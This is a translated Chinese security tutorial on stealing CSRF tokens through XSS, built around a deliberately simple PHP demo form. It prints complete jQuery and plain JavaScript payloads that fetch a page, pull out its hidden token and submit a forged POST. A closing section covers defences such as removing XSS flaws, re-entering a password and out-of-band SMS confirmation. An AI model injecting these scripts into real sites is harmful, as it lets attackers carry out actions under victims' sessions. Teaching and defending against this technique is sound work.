【技术分享】如何利用XSS窃取CSRF令牌

https://p5.ssl.qhimg.com/t018082934a107d3328.jpg

译者:興趣使然的小胃

预估稿费:130RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

一、前言

隐藏令牌是保护重要表单信息免受CSRF(Cross-Site Request Forgery,跨站请求伪造)攻击影响的一种绝佳方案,然而,只需一次简单的XSS(Cross-Site Scripting,跨站脚本)攻击,攻击者就能让这种保护屏障形同虚设。

在本文中,我会介绍使用XSS来窃取CSRF令牌的两种技术,通过已窃取的令牌提交表单,完成攻击任务。

我们的攻击对象为某个网页表单,其源码(csrf.php)如下所示:

<!doctype html>
<html>
<head>
    <title>Steal My Token</title>
</head>
<body id="body">
<?php
$h = fopen ("/tmp/csrf", "a");
fwrite ($h, print_r ($_POST, true));
if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) {
    if ($_POST['token'] === "secret_token") {
        print "<p>Token accepted, the message passed is: " . htmlentities($_POST['message']) . "</p>";
        fwrite ($h, "Token accepted, the message passed is: " . htmlentities($_POST['message']) . "n");
    } else {
        print "<p>Invalid token</p>";
        fwrite($h, "Invalid token passedn");
    }
}
fclose ($h);
?>
    <form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
        <input type="hidden" value="secret_token" id="token" name="token" />
        <input type="text" value="" name="message" id="message" />
        <input type="submit" value="Submit" />
    </form>
</body>
</html>

如你所见,上述代码中使用隐藏域(类型为“hidden”的input元素)来阻止CSRF攻击,该input元素的name及id为“token”。提交表单时,网页会检查隐藏域值,如果提交的值与预设值(“secret_token”)相匹配,则显示相应的信息(message),并将信息写入文件中。无效的令牌信息也会写入文件中,以辅助后续的调试工作。


二、使用jQuery代码

第一种方法用到了jQuery库,代码(withjQuery.js)如下所示:

function submitFormWithTokenjQuery (token) {
    $.post (POST_URL, {token: token, message: "hello world"})
        .done (function (data) {
            console.log (data );
        });
}
function getWithjQuery () {
    $.ajax ({
        type: "GET",
        url: GET_URL,
        // Put any querystring values in here, e.g.
        // data: {name: 'value'},
        data: {},
        async: true,
        dataType: "text",
        success: function (data) {
            // Convert the string data to an object
            var $data = $(data);
            // Find the token in the page
            var $input = $data.find ("#token");
            // This comes back as an array so check there is at least
            // one element and then get the value from it
            if ($input.length > 0) {
                inputField = $input[0];
                token = inputField.value
                console.log ("The token is: " + token);
                submitFormWithTokenjQuery (token);
            }
        },
        // In case you need to handle any errors in the 
        // GET request
        error: function (xml, error) {
            console.log (error);
        }
    });
}
var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getWithjQuery();

代码中的注释已经足够清晰,这里再简单补充一下:

getWithjQuery函数会向包含表单令牌的目标网页发起GET请求。当网页返回响应数据时,脚本就会调用success函数。在上述代码中,函数会分解网页返回的数据,提取id为“token”的input域,从而获得我们所需的token信息。

随后,该token值被传递到submitFormWithTokenjQuery函数中,该函数会向目标网页(csrf.php)发起POST请求,请求中包含token及message数据。

在代码中,我将GET及POST的URL分开保存,因为有些时候,加载表单以及提交表单的URL并不是同一个URL。

上述代码的确非常冗长,幸运的是,jQuery压缩起来非常方便,因此上述代码可以重写为如下形式(compressedjQuery.js):

$.get("csrf.php", function(data) {
    $.post("/csrf.php", {token: $(data).find("#token")[0].value, message: "hello world"})
});

如果你在jQuery方面技艺娴熟,那么上述代码可能有更大的压缩空间,但我发现这段代码足以胜任大多数使用场景。


三、使用JavaScript代码

如果实际环境中你无法使用jQuery,那么你还可以选择使用JavaScript原生代码,如下代码(rawJS.js)功能与前文提到的jQuery代码相同,但这种方法不需要依赖任何第三方库:

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);
    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }
    xhr.send("token=" + token + "&message=CSRF%20Beaten");
}
function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            console.log("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}
var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getTokenJS();

getTokenJS函数使用异步XMLHttpRequest函数向GET_URL地址发起GET请求,当网页返回响应数据时,该函数就从DOM中提取出token元素。

如果input域不包含id属性,那么我们可以用其他类似的方法来替代page.getElementByID调用,比如:

1、getElementsByClassName

2、getElementsByName

3、getElementsByTagName

这些方法返回的是对象数组,而不是单一对象,因此如果你使用了上述方法,你需要使用数组索引来访问具体元素,具体用法如下:

input = page.getElementsByTagName("input")[0]

既然我们已经得到了token数据,现在我们可以将该数据传递给submitFormWithTokenJS函数,通过异步XMLHttpRequest向POST_URL地址发起POST请求。

传递给xhr.send的字符串为多组键值对,键值对之间使用“&”符号分隔,与查询字符串的形式相同。

如果读者感兴趣,可以进一步压缩这段JavaScript代码。


四、总结

再牢固的堡垒都可能因为一个简单的失误功亏一篑。虽然攻击者仍然需要诱导受害者访问包含XSS代码的页面,或者诱使受害者通过浏览器点击反射型XSS链接,以触发本文介绍的两种攻击场景,但是在实际环境中,想让用户执行点击动作并不是那么困难的一件事。

想要阻止这类攻击也很简单,那就是确保站点不包含XSS漏洞。如果你无法保证这一点,那么最好选择另一种令牌形式。目标网站可以选择让用户输入密码才能执行重要任务,这种处理方式效果上与使用CSRF令牌的效果相同,但会比软件生成令牌的效果要好些,因为后一种情况下,当令牌信息以某种形式发送给浏览器时,令牌信息可能会被攻击者窃取,也相当于攻击者拿到了用户的密码。XSS攻击脚本无法获取用户密码,因此也无法完成整个攻击流程。

https://p4.ssl.qhimg.com/t01d930244bdce99570.jpg

CSRF是我们必须注意的攻击方式

另一种方法就是采用带外(out-of-band)确认机制。比如,当我发起新的支付请求时,我的银行会向我发送一条短信,我需要使用短信中的信息来确认支付操作。XSS攻击可以用来触发短信发送行为,但无法读取短信内容,因此也就无法完成攻击过程。

(完)